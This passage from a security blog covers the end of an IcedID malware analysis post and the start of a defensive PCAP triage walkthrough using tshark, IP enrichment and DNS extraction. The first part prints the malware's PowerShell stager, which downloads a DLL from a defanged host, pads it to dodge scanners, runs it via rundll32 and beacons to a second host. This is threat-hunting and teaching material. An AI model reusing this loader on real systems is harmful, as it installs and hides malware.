<p>Once the file bytes are collated in the same buffer, they are written to a path in <code class="language-plaintext highlighter-rouge">$env:APPDATA</code>.</p>

<p>Upon first glance it may also appear the name of the file will also be randomly generated.
A review of the script will tell you otherwise, as the variable <code class="language-plaintext highlighter-rouge">$randomname</code> is never initialized, and so the file is always called <code class="language-plaintext highlighter-rouge">z.dll</code></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$randomNumber</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Random</span><span class="w"> </span><span class="nt">-Minimum</span><span class="w"> </span><span class="nx">1010000</span><span class="w"> </span><span class="nt">-Maximum</span><span class="w"> </span><span class="nx">91198889999</span><span class="w">
</span><span class="p">[</span><span class="n">Net.ServicePointManager</span><span class="p">]::</span><span class="n">SecurityProtocol</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">Net.SecurityProtocolType</span><span class="p">]::</span><span class="n">Tls12</span><span class="w">
</span><span class="nv">$webClient</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Net.WebClient</span><span class="w">
</span><span class="nv">$bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$webClient</span><span class="o">.</span><span class="nf">DownloadData</span><span class="p">(</span><span class="s2">"hxxps[:]//associazionedignita[.]it/wp-content/uploads/2023/06/r.dll"</span><span class="p">)</span><span class="w">
</span><span class="nv">$currentFileSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Count</span><span class="w">
</span><span class="nv">$sizeToAdd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-Random</span><span class="w"> </span><span class="nt">-Minimum</span><span class="w"> </span><span class="nx">750000000</span><span class="w"> </span><span class="nt">-Maximum</span><span class="w"> </span><span class="nx">900000000</span><span class="w">
</span><span class="nv">$newFileSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$currentFileSize</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nv">$sizeToAdd</span><span class="w">
</span><span class="nv">$bytesToAdd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">byte</span><span class="p">[]</span><span class="w"> </span><span class="nv">$sizeToAdd</span><span class="w">
</span><span class="nv">$newBytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">byte</span><span class="p">[]</span><span class="w"> </span><span class="nv">$newFileSize</span><span class="w">
</span><span class="p">[</span><span class="n">System.Array</span><span class="p">]::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
</span><span class="p">[</span><span class="n">System.Array</span><span class="p">]::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$bytesToAdd</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytesToAdd</span><span class="o">.</span><span class="nf">Length</span><span class="p">)</span><span class="w">
</span><span class="p">[</span><span class="n">System.IO.File</span><span class="p">]::</span><span class="n">WriteAllBytes</span><span class="p">(</span><span class="s2">"</span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="s2">\z</span><span class="nv">$randomname</span><span class="s2">.dll"</span><span class="p">,</span><span class="w"> </span><span class="nv">$newBytes</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p><br /></p>

<p>Once the DLL file is written to disk, the <code class="language-plaintext highlighter-rouge">vcab</code> routine is executed using <code class="language-plaintext highlighter-rouge">rundll32.exe</code>, along with some additional command line parameters.
Once the execution from <code class="language-plaintext highlighter-rouge">rundll32.exe</code> completes a web request is issued, presumably indicating an installation (Webex?) has completed.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rundll32</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">APPDATA</span><span class="nx">\z</span><span class="nv">$randomname</span><span class="o">.</span><span class="nf">dll</span><span class="p">,</span><span class="w"> </span><span class="nx">vcab</span><span class="w"> </span><span class="nx">/k</span><span class="w"> </span><span class="nx">chokopai723</span><span class="w">
</span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="p">(</span><span class="s2">"hxxps[:]//9sta9rt4[.]store/?status=install"</span><span class="p">)</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="w">

</span><span class="n">Clear-History</span><span class="w">
</span></code></pre></div></div>

<p><br /></p>

<p>Curiosity got the better of me, and I wanted to see what the installation looked like.
As the command and control servers are hopefully down and this was executed in an isolated machine, the web requests failed.</p>

<p>As you can see, it looks like a legitimate installation of Webex.</p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/icedid_malware_triage_analysis/Screenshot_webex_installer_splash.png" />
</div>

<p><br /></p>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>This concludes part 2 of the series, if you have not done already you can catch up on part 1 <a href="about:blank">here</a></p>

<p>We stepped through the initial stages of the infection routine and explored some interesting forensic artefacts along the way.</p>

<p>Hopefully some of the hunting ideas generated can translate to your environment, if they’ve helped I’d love to know what you found!</p>

<p>In the next part of the series I will be walking through the next stage of the process, investigating the downloaded DLL file.</p>

<p>Until next time, keep evolving…</p>

<p><a href="https://x.com/@techevo_">@techevo_</a></p>

<hr />

<h2 id="references">References</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://www.malware-traffic-analysis.net">https://www.malware-traffic-analysis.net</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://docs.velociraptor.app/">https://docs.velociraptor.app/</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/msix/overview">https://learn.microsoft.com/en-us/windows/msix/overview</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/msix/desktop/desktop-to-uwp-behind-the-scenes#installation">https://learn.microsoft.com/en-us/windows/msix/desktop/desktop-to-uwp-behind-the-scenes#installation</a> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8</a> <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck">https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck</a> <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7" role="doc-endnote">
      <p><a href="https://gchq.github.io/CyberChef/#recipe=Parse_X.509_certificate('PEM')">https://gchq.github.io/CyberChef/#recipe=Parse_X.509_certificate(‘PEM’)</a> <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/windows/msix/desktop/flexible-virtualization">https://learn.microsoft.com/en-us/windows/msix/desktop/flexible-virtualization</a> <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:9" role="doc-endnote">
      <p><a href="https://www.advancedinstaller.com/user-guide/custom-actions-list.html#attached-action">https://www.advancedinstaller.com/user-guide/custom-actions-list.html#attached-action</a> <a href="#fnref:9" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p><a href="https://www.advancedinstaller.com/user-guide/powershell-script-options-dialog.html">https://www.advancedinstaller.com/user-guide/powershell-script-options-dialog.html</a> <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11" role="doc-endnote">
      <p><a href="https://www.virustotal.com/gui/file/fea3c21148ede04ce6ab7078937991b14551964457d116eca54c61df4a7e68ce/detection">https://www.virustotal.com/gui/file/fea3c21148ede04ce6ab7078937991b14551964457d116eca54c61df4a7e68ce/detection</a> <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:12" role="doc-endnote">
      <p><a href="https://learn.microsoft.com/en-us/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger?view=vs-2022">https://learn.microsoft.com/en-us/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger?view=vs-2022</a> <a href="#fnref:12" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:13" role="doc-endnote">
      <p><a href="https://search.censys.io/hosts/77.111.240.213?resource=hosts&amp;sort=RELEVANCE&amp;per_page=25&amp;virtual_hosts=EXCLUDE&amp;q=associazionedignita.it&amp;at_time=2023-12-18T12%3A36%3A21.779Z">https://censys.io</a> <a href="#fnref:13" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>techevo</name><email>simon at techevo dot uk</email></author><category term="analysis" /><category term="binary" /><category term="icedid" /><category term="malware" /><category term="backdoor" /><category term="webex" /><category term="exiftool" /><category term="msix" /><category term="powershell" /><category term="radare2" /><category term="cyberchef" /><summary type="html"><![CDATA[Welcome back to this series, analysing IcedId malware artefacts.]]></summary></entry><entry><title type="html">Carving the IcedId</title><link href="https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid.html" rel="alternate" type="text/html" title="Carving the IcedId" /><published>2023-10-09T00:00:00+00:00</published><updated>2023-10-09T00:00:00+00:00</updated><id>https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid</id><content type="html" xml:base="https://blog.techevo.uk/analysis/pcap/2023/10/09/carving-the-icedid.html"><![CDATA[<p>In a world dominated with endpoint detection and response agents, coming across PCAP may be a rare occurrence.</p>

<p>However, EDR and related acronyms only work if they are installed.</p>

<p>Sometimes it is not possible to install host based sensors on all devices. 
This may be because they are IOT devices or appliances such as printers, VOIP phones or network perimeter devices.</p>

<p>Sometimes sensors just don’t get installed on all of the internet facing hosts making it difficult to analyse an intrusion…<em>breath</em></p>

<p>In any case, gathering PCAP might be the only way to investigate an intrusion, or at least provide some initial leads.</p>

<p><br />
In the real world, you might find your big branded firewall, router, or VPN concentrator devices can generate PCAP.
Alternatively you may have dedicate network capture devices.
It is worth understanding what capabilities you have available to you. It may even be something to consider when you next upgrade the systems.</p>

<p><br />
In this first blog post, I will display possible ways to quickly triage PCAP data, extracting key pieces of information and enriching that information with additional context.</p>

<p>I have taken a sample PCAP from <strong>Malware Traffic Analysis</strong><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> a fantastic resource maintained by <a href="https://infosec.exchange/@malware_traffic">@malware_traffic</a>.
You can download the same PCAP files from <a href="https://www.malware-traffic-analysis.net/2023/08/09/index.html">here</a>.</p>

<p>This PCAP contains traffic relating to the <code class="language-plaintext highlighter-rouge">icedid</code> family of malware a modular banking malware<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> and its operators.</p>

<p>In order to demonstrate the various techniques and how they can be applied to emerging threats, I will be treating this as a black box exercise with no ability to simply search for atomic indicators.</p>

<p>All of the generated output and scripts from this blog will be available for you to follow along should you wish over on <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/">Github</a>.</p>

<p><br /></p>
<h1 id="initial-triage">Initial Triage</h1>

<p>Before we start attempting to dig too deep into the analysis of any data its always good to confirm what data we have to analyse.</p>

<p>For PCAP files we can use the <code class="language-plaintext highlighter-rouge">capinfos</code> command to find out all the things.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>capinfos 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>File name:           2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
File <span class="nb">type</span>:           Wireshark/tcpdump/... - pcap
File encapsulation:  Ethernet
File timestamp precision:  microseconds <span class="o">(</span>6<span class="o">)</span>
Packet size limit:   file hdr: 65535 bytes
Number of packets:   20 k
File size:           11 MB
Data size:           10 MB
Capture duration:    12938.179454 seconds
First packet <span class="nb">time</span>:   2023-08-09 15:29:46.945490
Last packet <span class="nb">time</span>:    2023-08-09 19:05:25.124944
Data byte rate:      840 bytes/s
Data bit rate:       6,726 bits/s
Average packet size: 519.48 bytes
Average packet rate: 1 packets/s
SHA256:              4d06c317e8e28f4e74be330bdcd87cdb37ae7971648ca0c8248f3e7ead8792a7
RIPEMD160:           533b03acbfabdecc5e1133d13012d0be8abcf60d
SHA1:                2612d8dc088091ec3a3e8729a7ed0d6749d1e060
Strict <span class="nb">time </span>order:   True
Number of interfaces <span class="k">in </span>file: 1
Interface <span class="c">#0 info:</span>
                     Encapsulation <span class="o">=</span> Ethernet <span class="o">(</span>1 - ether<span class="o">)</span>
                     Capture length <span class="o">=</span> 65535
                     Time precision <span class="o">=</span> microseconds <span class="o">(</span>6<span class="o">)</span>
                     Time ticks per second <span class="o">=</span> 1000000
                     Number of <span class="nb">stat </span>entries <span class="o">=</span> 0
                     Number of packets <span class="o">=</span> 20940
</code></pre></div></div>

<h1 id="packet-statistics">Packet Statistics</h1>

<p>Let’s start digging into the packets!</p>

<p>We can get a quick summary of the protocols in use using the <code class="language-plaintext highlighter-rouge">tshark</code> statistics features.</p>

<p>In the command below, <code class="language-plaintext highlighter-rouge">-z io,phs</code> instructs <code class="language-plaintext highlighter-rouge">tshark</code> to display <strong>P</strong>rotocol <strong>H</strong>ierarchy <strong>S</strong>tatistics.
You can find more possible statistics related options within the manual page<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-z</span> io,phs <span class="nt">-q</span> <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>

<p>For the sake of clarity, the following output has been reduced to highlight protocols of interest.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Protocol Hierarchy Statistics
Filter: 

eth                                      frames:20940 bytes:10877998
  ip                                     frames:20298 bytes:10851034
    udp                                  frames:381 bytes:63780
      dns                                frames:268 bytes:32790
    tcp                                  frames:19917 bytes:10787254
      http                               frames:6 bytes:4245
        ocsp                             frames:1 bytes:1152
        text                             frames:1 bytes:1411
          tcp.segments                   frames:1 bytes:1411
        media                            frames:1 bytes:856
          tcp.segments                   frames:1 bytes:856
      tls                                frames:3696 bytes:2617915
        tcp.segments                     frames:622 bytes:613663
          tls                            frames:150 bytes:169696
      data                               frames:39 bytes:13723
      ldap                               frames:136 bytes:54988
        tcp.segments                     frames:28 bytes:25560
          ldap                           frames:8 bytes:11872
</code></pre></div></div>

<h2 id="a-little-more-conversation">A Little More Conversation</h2>

<p>Now we know <em>how</em> endpoints are talking over the network, next we can find out <em>who</em> is involved in all the conversations.</p>

<p>We can use a couple of additional statistic commands to find our “top talkers”.</p>

<p>Viewing the top talkers, allows us to see which endpoints are generating the largest amount of packets / bytes.</p>

<p>The statistics option <code class="language-plaintext highlighter-rouge">-z endpoints,ip</code> allows us to view the endpoints generating the most traffic.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-z</span> endpoints,ip <span class="nt">-q</span> <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>

<p>Below shows the top 10 endpoints from the PCAP, you can find the full output <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/output/ip_conversations.txt">here</a>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IPv4 Endpoints
Filter:&lt;No Filter&gt;
                       |  Packets  | |  Bytes  | | Tx Packets | | Tx Bytes | | Rx Packets | | Rx Bytes |
10.8.9.95                  20298      10851034       8149         4035536       12149         6815498   
137.184.172.23             10122       3520549       5285          339187        4837         3181362   
193.109.120.27              1944       2196654       1660         2177622         284           19032   
10.8.9.9                    1896        481151        868          209318        1028          271833   
23.63.72.218                1630       1642953       1283         1608655         347           34298   
128.199.151.179              833        148238        440           99700         393           48538   
172.67.140.91                568        583762        436          576325         132            7437   
13.107.246.51                335        370820        282          364830          53            5990   
52.137.106.217               322        340276        268          333433          54            6843   
20.3.187.198                 239        165206        122           12305         117          152901
...
</code></pre></div></div>

<p>On the sample output above, there are a two IP addresses that stand out as noteworthy, based on the total bytes transferred.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>137[.]184[.]172[.]23
193[.]109[.]120[.]27
</code></pre></div></div>

<p>This is not a definitive list of IOC’s but something we can start to pivot on around any other data you might have available in your environment.</p>

<p>At this stage during an investigation we could start researching each IP address, and in some cases this will yield some interesting 
results. 
As this PCAP is from a few months ago (at the time writing) these IP addresses likely show up in Threat intelligence reports.</p>

<p><br />
Lets run another query to summarize conversations between hosts to see if there are any additional insights.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-z</span> conv,ip_srcdst,tree <span class="nt">-q</span> <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>
<p>Below are the top 10 conversations based on the number of frames (frames encapsulate packets).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IPv4 Conversations
Filter:&lt;No Filter&gt;
                                               |       &lt;-      | |       -&gt;      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.8.9.95            &lt;-&gt; 137.184.172.23          5285    339187    4837   3181362   10122   3520549    84.797226000     12848.9131
10.8.9.95            &lt;-&gt; 193.109.120.27          1660   2177622     284     19032    1944   2196654    80.201394000        73.4828
10.8.9.9             &lt;-&gt; 10.8.9.95               1028    271833     868    209318    1896    481151     0.000000000     12819.0497
10.8.9.95            &lt;-&gt; 23.63.72.218            1283   1608655     347     34298    1630   1642953  7883.866052000        53.2998
10.8.9.95            &lt;-&gt; 128.199.151.179          440     99700     393     48538     833    148238    82.942279000     12802.5170
10.8.9.95            &lt;-&gt; 172.67.140.91            436    576325     132      7437     568    583762    14.904654000       109.9738
10.8.9.95            &lt;-&gt; 13.107.246.51            282    364830      53      5990     335    370820  7880.200878000        56.9641
10.8.9.95            &lt;-&gt; 52.137.106.217           268    333433      54      6843     322    340276  6391.996704000        53.8537
10.8.9.95            &lt;-&gt; 20.3.187.198             122     12305     117    152901     239    165206  6688.981277000         1.3757
10.8.9.95            &lt;-&gt; 13.71.55.58              165    191607      35     10425     200    202032    85.311619000         6.6261
...
</code></pre></div></div>

<p>This view of the data shows us the <em>duration</em> of the connection, highlighting another IP address that might be worth investigating further.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>128[.]199[.]151[.]179
</code></pre></div></div>

<hr />

<h2 id="ip-enrichment">IP Enrichment</h2>

<p>Now we have collected some initial findings, we can enrich them to start building up a more detailed view.</p>

<p>At this stage we don’t know that anything we have identified is malicious.
We are simply performing analysis on the data we have, in order to identify anything anomalous.</p>

<p>During an investigation on a larger scale with 10’s of millions of events streaming in constantly, its important to re-apply and re-asses what you know.
It is also vital to understand what you <em>don’t</em> know and start forming some investigative threads.</p>

<p>Once the tasks have been broken down, collaboration means analysis can occur in parallel leading to faster more decisive remediation.</p>

<p><br />
There are many web portals and API’s available to provide more information about indicators of interest.
Whilst these are good to individual lookups, this approach doesn’t scale terribly well.</p>

<p>For demonstration purposes I developed a simple script to query the free API from <a href="https://ipinfo.io">ipinfo.io</a>.
You can find the script <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/scripts/enrich_ip.py">here</a>.</p>

<p>Using the following command (replace <code class="language-plaintext highlighter-rouge">0000000000</code> with your access token), we can feed the script a list of IP addresses via the file <code class="language-plaintext highlighter-rouge">ips.txt</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ./enrich_ip.py <span class="nt">--token</span> 0000000000 <span class="nt">-f</span> ips.txt
</code></pre></div></div>

<p>The script outputs the following details.</p>

<table>
  <thead>
    <tr>
      <th>IP Address</th>
      <th>Organization</th>
      <th>City</th>
      <th>Country</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>137.184.172.23</td>
      <td>AS14061 DigitalOcean, LLC</td>
      <td>Toronto</td>
      <td>Canada</td>
    </tr>
    <tr>
      <td>193.109.120.27</td>
      <td>AS62005 BlueVPS OU</td>
      <td>Tallinn</td>
      <td>Estonia</td>
    </tr>
    <tr>
      <td>128.199.151.179</td>
      <td>AS14061 DigitalOcean, LLC</td>
      <td>Singapore</td>
      <td>Singapore</td>
    </tr>
  </tbody>
</table>

<p>Whilst the above output might not provide hard hitting indicators that these are malicious, knowing how we can pivot on different data points such as the ASN organizations allows us to threat hunt for connections to IP addresses hosted by the same providers.</p>

<p>Attackers may either re-use infrastructure, or have a go to hosting provider they will re-use time and time again.</p>

<p>Having this intelligence picture build up over time allows us to identify trends in actor behaviour.</p>

<p>Remember, as we progress investigations you can visit this enrichment phase again.</p>

<hr />

<h1 id="protocol-analysis">Protocol Analysis</h1>

<p>We identified some IP addresses, and we have some capability to gather some more insight into them.</p>

<p>Lets look closer into how they are being used in more detail.</p>

<h2 id="dns">DNS</h2>

<p>The <strong>D</strong>omain <strong>N</strong>ame <strong>S</strong>ystem protocol is good stepping stone to traverse to higher level protocols. 
We have some IP address, now we can being to expand our view to see what domains are being resolved.</p>

<p>Of course, DNS is not only used for resolving domains to IP addresses.</p>

<p>There are many different query types<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>, the most important to understand being <code class="language-plaintext highlighter-rouge">A</code>, <code class="language-plaintext highlighter-rouge">AAAA</code>, <code class="language-plaintext highlighter-rouge">CNAME</code>. <code class="language-plaintext highlighter-rouge">MX</code>, <code class="language-plaintext highlighter-rouge">NS</code> and <code class="language-plaintext highlighter-rouge">TXT</code>.</p>

<p>To generate a summary of DNS activity within the PCAP we can use the DNS statistics in <code class="language-plaintext highlighter-rouge">tshark</code> with the following command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-z</span> dns,tree <span class="nt">-q</span> <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>

<p>This outputs a fairly large amount of information, but the key sections to look out for are the <code class="language-plaintext highlighter-rouge">Query/Response</code> and <code class="language-plaintext highlighter-rouge">Query Type</code> sections, shown below.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Topic / Item                   Count         Average       Min val       Max val       Rate <span class="o">(</span>ms<span class="o">)</span>     Percent       Burst rate    Burst start  
<span class="nt">----------------------------------------------------------------------------------------------------------------------------------------------</span>
 Query/Response                268                                                     0.0000        100.00%       0.0600        7878.254     
  Response                     134                                                     0.0000        50.00%        0.0300        7878.255     
  Query                        134                                                     0.0000        50.00%        0.0300        7878.254     
 Query Type                    268                                                     0.0000        100.00%       0.0600        7878.254     
  A <span class="o">(</span>Host Address<span class="o">)</span>             262                                                     0.0000        97.76%        0.0600        7878.254     
  SRV <span class="o">(</span>Server Selection<span class="o">)</span>       6                                                       0.0000        2.24%         0.0200        3541.155     
...
</code></pre></div></div>

<p>As shown above there are <code class="language-plaintext highlighter-rouge">134</code> DNS queries made with matching responses, and <code class="language-plaintext highlighter-rouge">97.76%</code> of the DNS activity were related to <code class="language-plaintext highlighter-rouge">A</code> records.</p>

<p>We can extract the domains being queried by using <code class="language-plaintext highlighter-rouge">tshark</code>’s ability to parse network protocols, DNS included.
Using the command below, we can filter for DNS type A query packets, and print out the query name field.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-T</span> fields <span class="nt">-e</span> dns.qry.name <span class="nt">-Y</span> <span class="s2">"dns.qry.type == 0x01 and dns.flags.response == 0"</span> <span class="nt">-q</span> <span class="se">\</span>
  <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="o">&gt;</span> domains.txt
</code></pre></div></div>
<p><em>Note: you can find a copy of domains.txt <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/output/domains.txt">here</a></em></p>

<p>In order to reduce the number of domains we will analyse further, I have created a <code class="language-plaintext highlighter-rouge">domain_filter.txt</code> file which can be 
found <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/output/domain_filter.txt">here</a>.</p>

<p>It contains domains we would expect to see on completely clean hosts and may interfere with 
our analysis moving forward.</p>

<p>Legitimate domains can be used for malicious purposes<sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>, in some cases you may need to revisit domains previously excluded.</p>

<p>Using the new filter file, lets generate a count for the number of times each domain was requested.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-f</span> domain_filter.txt domains.txt | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span> | <span class="nb">sort</span> <span class="nt">-nr</span>
</code></pre></div></div>

<p>Which outputs the following…</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 42 pokerstorstool.com
  1 smakizelkopp.com
  1 sb.scorecardresearch.com
  1 podiumstrtss.com
  1 metrics-a.wbx2.com
  1 edgeassetservice.azureedge.net
  1 deff.nelreports.net
  1 client-upgrade-a.wbx2.com
  1 binaries.webex.com
  1 associazionedignita.it
  1 9sta9rt4.store
</code></pre></div></div>

<p>Instantly one domain in particular looks to be an outlier: <code class="language-plaintext highlighter-rouge">pokerstorstool[.]com</code> due to its large amount of requests.</p>

<p>Domains with rare and uncommon <strong>T</strong>op <strong>L</strong>evel <strong>D</strong>omain (TLD) also may be an indicator to look deeper into.
It’s not that these domains such as <code class="language-plaintext highlighter-rouge">9sta9rt4[.]store</code> are always malicious, however anything anomalous is worthy of noting down.</p>

<p>For more information regarding trends in TLD’s being used for CyberCrime, you can view this dashboard by <a href="https://trends.netcraft.com/cybercrime/tlds">Netcraft</a></p>

<p>We have already added some IP addresses to our list of potential indicators of compromise, we can also use the DNS traffic to see what the domains we have extracted resolve to (at least at the time of this PCAP).</p>

<p>The below command will output the domain that was queried (<code class="language-plaintext highlighter-rouge">dns.qry.name</code>) followed by the answer(s) that was received (<code class="language-plaintext highlighter-rouge">dns.a</code>).
The command is then stored in <code class="language-plaintext highlighter-rouge">domains_resolved.txt</code>, which can be found <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/output/domains_resolved.txt">here</a>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-q</span> <span class="nt">-Y</span> <span class="s1">'dns.flags.rcode==0 &amp;&amp; dns.flags.response==1'</span> <span class="nt">-T</span> fields <span class="nt">-e</span> <span class="s1">'dns.qry.name'</span> <span class="nt">-e</span> <span class="s1">'dns.a'</span> <span class="se">\</span>
  <span class="nt">-r</span> IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="o">&gt;</span> domains_resolved.txt
</code></pre></div></div>

<p>We can view the output, applying the same <code class="language-plaintext highlighter-rouge">domain_filter.txt</code> as used before as follows.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-f</span> domain_filter.txt domains_resolved.txt | column <span class="nt">-t</span> | <span class="nb">sort</span> | <span class="nb">uniq</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>9sta9rt4.store                  81.177.140.194
associazionedignita.it          77.111.240.213
binaries.webex.com              18.64.183.33,18.64.183.41,18.64.183.69,18.64.183.29
client-upgrade-a.wbx2.com       170.72.231.0,170.72.231.161,170.72.231.10
deff.nelreports.net             23.220.206.9,23.220.206.47
